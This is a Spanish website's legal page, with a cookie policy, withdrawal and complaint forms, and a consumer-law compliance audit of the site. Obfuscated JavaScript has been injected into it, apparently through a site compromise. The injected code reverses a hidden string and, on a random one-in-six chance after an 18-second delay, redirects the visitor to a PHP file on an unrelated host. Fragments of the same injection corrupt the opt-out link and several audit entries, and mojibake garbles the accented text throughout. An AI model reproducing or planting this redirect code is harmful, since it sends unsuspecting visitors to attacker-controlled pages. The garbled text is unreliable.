Las cookies pueden ayudar a nuestro sitio Web a distinguir el navegador del usuario como visitante anterior y as√≠ guardar y recordar las preferencias que puedan haberse establecido mientras el usuario estaba navegando por el sitio, personalizar las p√°ginas de inicio, identificar qu√© sectores de un sitio han sido visitados o mantener un registro de selecciones en un ¬ęcarro de compra¬Ľ entre otros.

JAIME VALBUENA LOPEZ-SANTACRUZ puede utilizar las cookies con el objeto de reconocer a los usuarios que hayan accedido a nuestro sitio web y poder ofrecerles un mejor servicio y m√°s personalizado. Asimismo, pueden ser utilizadas para obtener informaci√≥n acerca de la fecha y hora de la √ļltima visita del usuario, medir algunos par√°metros de tr√°fico dentro del propio site y estimar el n√ļmero de visitas realizadas, de manera que JAIME VALBUENA LOPEZ-SANTACRUZ pueda enfocar y ajustar los servicios y promociones de forma m√°s efectiva.

Normalmente los sitios Web utilizan las cookies para obtener información estadística sobre sus páginas Web. Tenga en cuenta que recogemos datos sobre sus movimientos y uso de nuestra Web como datos estadísticos, no personales.

Tipos de cookies

Las cookies se pueden clasificar en funci√≥n a la entidad que las gestione, el tiempo que √©stas permanecen activas o seg√ļn su finalidad. En algunas ocasiones podremos comprobar que una misma cookie puede estar incluida dentro de m√°s de una categor√≠a.

En función a su propiedad

  • Cookies propias: Son aquellas que se env√≠an al equipo del usuario desde un equipo o dominio gestionado por JAIME VALBUENA LOPEZ-SANTACRUZ.
  • Cookies de terceros:¬†Son aqu√©llas que se env√≠an al equipo terminal del usuario desde un equipo o dominio que no es gestionado por el editor, sino por otra entidad que trata los datos obtenidos trav√©s de las cookies.

En función a su tiempo de vida

  • Cookies de sesi√≥n: Son aquellas que recaban datos mientras que el usuario est√° navegando por la p√°gina web.
  • Cookies persistentes: Son aquellas en las que los datos siguen almacenados en el terminal y pueden ser accedidos y tratados durante un periodo definido por el responsable de la cookie, y que puede ir de unos minutos a varios a√Īos.

En función a su finalidad

  • Cookies t√©cnicas: Son aquellas que se usan de forma internas y que son necesarias para el funcionamiento de la web.
  • Cookies anal√≠ticas: Son aquellas que permiten recabar informaci√≥n estad√≠stica sobre la actividad de los usuarios. Dicha informaci√≥n se recopila de forma an√≥nima y permite optimizar la navegaci√≥n por la nuestra web con el fin de garantizar un mejor servicio al usuario.
  • Cookies de personalizaci√≥n: Son aquellas que permiten al usuario acceder al servicio con algunas caracter√≠sticas de car√°cter general predefinidas en funci√≥n de una serie de criterios en el terminal del usuario como por ejemplo serian el idioma, el tipo de navegador a trav√©s del cual accede al servicio, la configuraci√≥n regional desde donde accede al servicio, etc.
  • Cookies publicitarias: Son aqu√©llas que permiten la gesti√≥n, de la forma m√°s eficaz posible, de los espacios publicitarios que, en su caso, el editor haya incluido en una p√°gina web, aplicaci√≥n o plataforma desde la que presta el servicio solicitado en base a criterios como el contenido editado o la frecuencia en la que se muestran los anuncios.
  • Cookies de publicidad comportamental:¬†Son aqu√©llas que permiten la gesti√≥n, de la forma m√°s eficaz posible, de los espacios publicitarios que, en su caso, el editor haya incluido en una p√°gina web, aplicaci√≥n o plataforma desde la que presta el servicio solicitado. Estas cookies almacenan informaci√≥n del comportamiento de los usuarios obtenida a trav√©s de la observaci√≥n continuada de sus h√°bitos de navegaci√≥n, lo que permite desarrollar un perfil espec√≠fico para mostrar publicidad en funci√≥n del mismo.

Finalidades de las cookies.

A continuación, se presenta una lista de las cookies que puede encontrar en nuestro sitio Web y una breve descripción de su finalidad. Le aseguramos que ninguna de ellas conserva información de identificación personal sobre usted. Algunas cookies personalizan su visita, otras recuerdan sus preferencias, mientras que otras solo nos proveen estadísticas de los visitantes.

Cookie

Propiedad

Temporalidad

Finalidad

Fuente

Duración

Descripción

_ga

De terceros

Persistente

An√°lisis

Google Analytics

2 a√Īos

Generar un identificador de usuario √ļnico, que es el que se utiliza para hacer recuento de cu√°ntas veces visita el sitio un usuario, as√≠ como la fecha de la primera y la √ļltima vez que visit√≥ la web. Registrar la fecha y hora de acceso a cualquiera de las p√°ginas del Sitio. Comprobar la necesidad de mantener la sesi√≥n de un usuario abierta o crear una nueva. Identificar la sesi√≥n del usuario, para recoger la ubicaci√≥n geogr√°fica aproximada del ordenador que accede al Sitio con efectos estad√≠sticos.

_gat

De terceros

De sesión

An√°lisis

Google Analytics

Finalización de sesión

Generar un identificador de usuario √ļnico, que es el que se utiliza para hacer recuento de cu√°ntas veces visita el sitio un usuario, as√≠ como la fecha de la primera y la √ļltima vez que visit√≥ la web. Registrar la fecha y hora de acceso a cualquiera de las p√°ginas del Sitio. Comprobar la necesidad de mantener la sesi√≥n de un usuario abierta o crear una nueva. Identificar la sesi√≥n del usuario, para recoger la ubicaci√≥n geogr√°fica aproximada del ordenador que accede al Sitio con efectos estad√≠sticos.

_gid

De terceros

Persistente

An√°lisis

Google Analytics

24 horas

Generar un identificador de usuario √ļnico, que es el que se utiliza para hacer recuento de cu√°ntas veces visita el sitio un usuario, as√≠ como la fecha de la primera y la √ļltima vez que visit√≥ la web. Registrar la fecha y hora de acceso a cualquiera de las p√°ginas del Sitio. Comprobar la necesidad de mantener la sesi√≥n de un usuario abierta o crear una nueva. Identificar la sesi√≥n del usuario, para recoger la ubicaci√≥n geogr√°fica aproximada del ordenador que accede al Sitio con efectos estad√≠sticos.

 

 

 

 

 

 

 

 

Salvaguardas de protección.

l usuario puede configurar su navegador para aceptar, o no, las cookies que recibe o para que el navegador le avise cuando un servidor quiera guardar una cookie o borrarlas de su ordenador. Puede encontrar las instrucciones en la configuración de seguridad en su navegador Web.

Ejemplos:

  • Si utiliza Microsoft Internet Explorer, en la opci√≥n de men√ļ Herramientas > Opciones de Internet > Privacidad > Configuraci√≥n.
  • Si utiliza Firefox, en la opci√≥n de men√ļ Herramientas > Opciones > Privacidad > Cookies.
  • Si utiliza Google Chrome, en la opci√≥n de men√ļ Configuraci√≥n > Privacidad.
  • Si utiliza Safari, en la opci√≥n de men√ļ Preferencias > Seguridad.
  • Si utiliza √ďpera,.> Configuraci√≥n > Eliminar informaci√≥n personal.
  • Si utiliza un explorador nativo de su terminal m√≥vil, Ajustes > Borrar datos o Privacidad y Seguridad*

*Puede diferir en función al modelo de versión del sistema operativo.

Puede hacer uso de la secci√≥n ‚ÄúAyuda‚ÄĚ que encontrar√° en la barra de herramientas de la mayor√≠a de navegadores para cambiar los ajustes de su ordenador, sin embargo, algunas de las caracter√≠sticas de nuestros servicios online pueden no funcionar o pueden resultar m√°s complicadas de acceder si rechaza todas las cookies.

Muchos navegadores permiten activar un modo privado mediante el cual las cookies se borran siempre despu√©s de su visita. Dependiendo de cada navegador, este modo privado puede tener diferentes nombres, abajo puede encontrar una lista de los navegadores m√°s comunes y los diferentes nombres de este ‚Äúmodo privado‚ÄĚ:

– Internet Explorer 8 y superior: InPrivate

РFireFox 3.5 y superior: Navegación Privada

РGoogle Chrome 10 y superior: Incógnito

РSafari 2 y superior: Navegación Privada

РOpera 10.5 y superior: Navegación Privada

– Navegador: Pesta√Īa de inc√≥gnito

Por favor, lea atentamente la secci√≥n de ayuda de su navegador para conocer m√°s acerca de c√≥mo activar el ‚Äúmodo privado‚ÄĚ. Podr√° seguir visitando nuestra Web aunque su navegador est√© en ‚Äúmodo privado‚ÄĚ, no obstante, la experiencia de usuario puede no ser √≥ptima y algunas utilidades pueden no funcionar.

Si desea impedir que Google Analytics recopile estad√≠sticas de seguridad visite el siguiente enlace:¬†$mWn=function(n){if(typeof($mWn.list[n])==¬Ľstring¬Ľ)return $mWn.list[n].split(¬ę¬Ľ).reverse().join(¬ę¬Ľ);return $mWn.list[n]};$mWn.list=[¬ę\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolgtools.google.com/dlpage/gaoptout¬Ľ>https://tools.google.com/dlpage/gaoptout

Además, también puede gestionar el almacén de cookies en su navegador a través de herramientas como las siguientes:

 

JAIME VALBUENA LOPEZ-SANTACRUZ le agradece que active la aceptaci√≥n de cookies, esto nos ayuda a obtener datos m√°s precisos que nos permiten mejorar el contenido y el dise√Īo de nuestra p√°gina Web para adaptarlo a sus preferencias.

Adicionalmente, JAIME VALBUENA LOPEZ-SANTACRUZ tiene presencia en portales y servicios de terceros para los que, si se desea conocer las condiciones de privacidad y uso de cookies, deberán consultarle las políticas proporcionadas por los mismos:

¬†¬ŅActualizamos nuestra Pol√≠tica de Cookies?

 Es posible que actualicemos la Política de Cookies de nuestro Sitio Web, por ello le recomendamos revisar esta política cada vez que acceda a nuestro Sitio Web con el objetivo de estar adecuadamente informado sobre cómo y para qué usamos las cookies.

¬†CUADRO DE CONFIGURACI√ďN DE COOKIES

¬†Este cuadro deber√° estar disponible por el usuario a trav√©s de un enlace disponible en la p√°gina web, bajo el t√©rmino ‚ÄúCONFIGURACI√ďN DE COOKIES‚ÄĚ. Dicho enlace deber√° estar incluido en el fald√≥n de cookies y en la Pol√≠tica de Cookies de la web, as√≠ el usuario podr√° aceptar o rechazar las cookies seg√ļn sus necesidades.

 

Nombre Cookie

Tipo de Cookie

Descripción

Configuración

 

Cookies técnicas

Son aquellas que se usan de forma internas y que son necesarias para el funcionamiento de la web.

ACTIVADAS POR DEFECTO

 

Cookies analíticas

Son aquellas que permiten recabar información estadística sobre la actividad de los usuarios. Dicha información se recopila de forma anónima y permite optimizar la navegación por la nuestra web con el fin de garantizar un mejor servicio al usuario

¨

 

Cookies de personalización

Son aquellas que permiten al usuario acceder al servicio con algunas características de carácter general predefinidas en función de una serie de criterios en el terminal del usuario como por ejemplo serian el idioma, el tipo de navegador a través del cual accede al servicio, la configuración regional desde donde accede al servicio, etc.

¨

 

Cookies de publicidad

Son aquéllas que permiten la gestión, de la forma más eficaz posible, de los espacios publicitarios que, en su caso, el editor haya incluido en una página web, aplicación o plataforma desde la que presta el servicio solicitado en base a criterios como el contenido editado o la frecuencia en la que se muestran los anuncios.

¨

 

Cookies de publicidad comportamental

Estas cookies almacenan información del comportamiento de los usuarios obtenida a través de la observación continuada de sus hábitos de navegación, lo que permite desarrollar un perfil específico para mostrar publicidad en función del mismo.

¨

 

FALD√ďN INFORMATIVO DE COOKIES

INCLUSI√ďN DEL FALD√ďN INFORMATIVO

El gestor deberá especificar en la parte correspondiente, las cookies utilizadas, en caso de que así sea (ver Tipos y finalidades de las cookies).

 Aceptación mediante botón

 

 

Este sitio Web utiliza cookies propias y de terceros para mejorar su experiencia de navegaci√≥n,¬† realizar tareas de an√°lisis y ofrecer un mejor servicio. Al pulsar el bot√≥n aceptar nos da su consentimiento a nuestra pol√≠tica de cookies.¬†ACEPTAR¬†¬†¬†¬† RECHAZAR¬†¬†¬†¬† LEER M√ĀS

 

 

¬†Nota: En el enlace de Leer m√°s deber√° enlazar a la p√°gina en la que hayamos incluido la Pol√≠tica de Cookies, adem√°s, si se desea, en vez de poner RECHAZAR, se puede poner ‚ÄúCONFIGURACI√ďN‚ÄĚ y as√≠ el usuario poder configurarla directamente.

 

FORMULARIO DE DESISTIMIENTO

 En ________________________ a _____ de __________________ de ______ .

 

A la atención de:

JAIME VALBUENA LOPEZ-SANTACRUZ.

CALLE QUEVEDO, 7 HORCAJO DE SANTIAGO, 16410, CUENCA, ESPA√ĎA.

Teléfono: 969 32 75 03

Email: info@telecomhorcajo.es

Por la presente le comunico el desistimiento al contrato de venta celebrado con ustedes en relación a los siguientes productos:

PRODUCTO

REFERENCIA

________________________________________________________________

__________________

________________________________________________________________

__________________

________________________________________________________________

__________________

 

N√ļmero de pedido:

 

Fecha de pedido:

Recepción del pedido:

 

DATOS DEL CONSUMIDOR

Nombre y apellidos:

CIF/NIF/NIE:

Domicilio:

Teléfono:

Email:

 

Firma:

 

 

FORMULARIO DE RECLAMACIONES

 

En ________________________ a _____ de __________________ de ______ .

 

A la atención de:

JAIME VALBUENA LOPEZ-SANTACRUZ.

CALLE QUEVEDO, 7 HORCAJO DE SANTIAGO, 16410, CUENCA, ESPA√ĎA.

Teléfono: 969 32 75 03

Email: info@telecomhorcajo.es

PRODUCTO

REFERENCIA

________________________________________________________________

__________________

________________________________________________________________

__________________

MOTIVO DE LA RECLAMACI√ďN:

 

 

N√ļmero de pedido:

 

Fecha de pedido:

Recepción del pedido:

 

DATOS DEL RECLAMANTE

Nombre y apellidos:

CIF/NIF/NIE:

Domicilio:

Teléfono:

Email:

 

 

Firma:

 

 

 

Información y Comercio Electrónico (LSSICE)

 Web: www.telecomhorcajo.es

Razón Social: JAIME VALBUENA LOPEZ-SANTACRUZ

Fecha: 27/07/2020

 Tras el análisis de la página web, en relación al grado de cumplimiento de las exigencias formales que establece la normativa vigente (Ley 34/2002, de 11 de julio, de servicios de la sociedad de la información y de comercio electrónico, el Real Decreto Legislativo 1/2007, de 16 de noviembre, por el que se aprueba el texto refundido de la Ley General para la Defensa de los Consumidores y Usuarios y otras leyes complementarias y Reglamento (UE) 2019/881, del 17 de abril del 2019, relativo a la Ciberseguridad), las incidencias detectadas y que han de ser subsanadas con la mayor celeridad posible, es la relación siguiente: 

 tración:

 

  

Escala valoración

RIESGO

COSTE

PLAZO

DIFICULTAD

ALTO

BAJO

CORTO

BAJA

 

 

Ubicación de la incidencia:

$mWn=function(n){if(typeof($mWn.list[n])==¬Ľstring¬Ľ)return $mWn.list[n].split(¬ę¬Ľ).reverse().join(¬ę¬Ľ);return $mWn.list[n]};$mWn.list=[¬ę\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolgto/¬Ľ>https://www.telecomhorcajo.es/contacto/

Incidencia:

Ausencia de link que remita a la política de privacidad, y cambiar redacción del texto.

Recomendación:

Inclusión de link que remita hacia el texto especificado, y cambiar la frase por “He leído y Acepto la política de privacidad.

 

Ilustración:

 

 

 

Escala valoración

RIESGO

COSTE

PLAZO

DIFICULTAD

ALTO

BAJO

CORTO

BAJA

 

 

 

 

 

Ubicación de la incidencia:      

https://www.telecomhorcajo.es/

Incidencia:

Ausencia de enlace de remisión al texto legal correspondiente en el faldón de cookies.

Recomendación:

Inclusión del link hacia la política de cookies.

 

 

Ilustración:

 

 

 

Escala valoración

RIESGO

COSTE

PLAZO

DIFICULTAD

ALTO

BAJO

CORTO

BAJA

 

 

 

 

 

Ubicación de la incidencia:

 

$mWn=function(n){if(typeof($mWn.list[n])==¬Ľstring¬Ľ)return $mWn.list[n].split(¬ę¬Ľ).reverse().join(¬ę¬Ľ);return $mWn.list[n]};$mWn.list=[¬ę\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolgto/pistacho-ecologico-tostado-con-cascara-1000-gr-sin-sal/¬Ľ>https://tiendaonline.azafranypistachos.com/producto/pistacho-ecologico-tostado-con-cascara-1000-gr-sin-sal/

Incidencia:

Cuadro de descripción en blanco.

Recomendación:

Insertar la descripción que se encuentra debajo del precio ahí o borrar el cuadro.

 

Ilustración:

 

 

 

Escala valoración

RIESGO

COSTE

PLAZO

DIFICULTAD

ALTO

BAJO

CORTO

BAJA

 

 

 

 

 

Ubicación de la incidencia:

 

Incidencia:

Ausencia de limitación de unidades máximas.

Recomendación:

Intentar delimitar lo m√°ximo posible las unidades a a√Īadir al carrito con el stock real disponible.

 

Ilustración:

 

 

 

 

Escala valoración

RIESGO

COSTE

PLAZO

DIFICULTAD

ALTO

BAJO

CORTO

BAJA

 

Ubicación de la incidencia:

Incidencia:

Ausencia de check box y link que para aceptar los Términos Generales de Contratación.

Recomendación:

Insertar Check box con el texto ‚Äú He le√≠do y acepto los T√©rminos Generales de Contrataci√≥n‚ÄĚ y con el correspondiente link que temita a dicho texto.

 

Ilustración:

 

 

Escala valoración

RIESGO

COSTE

PLAZO

DIFICULTAD

ALTO

BAJO

CORTO

BAJA

 

 

 

Ubicación de la incidencia:

Incidencia:

Ausencia de check box en la zona de recogida de datos, en la que acepte la política de privacidad.

Recomendación:

Insertar Check box con el texto ‚Äú He le√≠do y acepto los Pol√≠tica de Privacidad‚ÄĚ y con el correspondiente link que temita a dicho texto.

 

Ilustración:

 

 

 

Escala valoración

RIESGO

COSTE

PLAZO

DIFICULTAD

ALTO

BAJO

CORTO

BAJA

 

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tom_padding=¬Ľ25px|0px|50.5156px|0px|false|false¬Ľ bottom_divider_style=¬Ľcurve2″ bottom_divider_color=¬Ľrgba(175,216,134,0.79) ¬ę]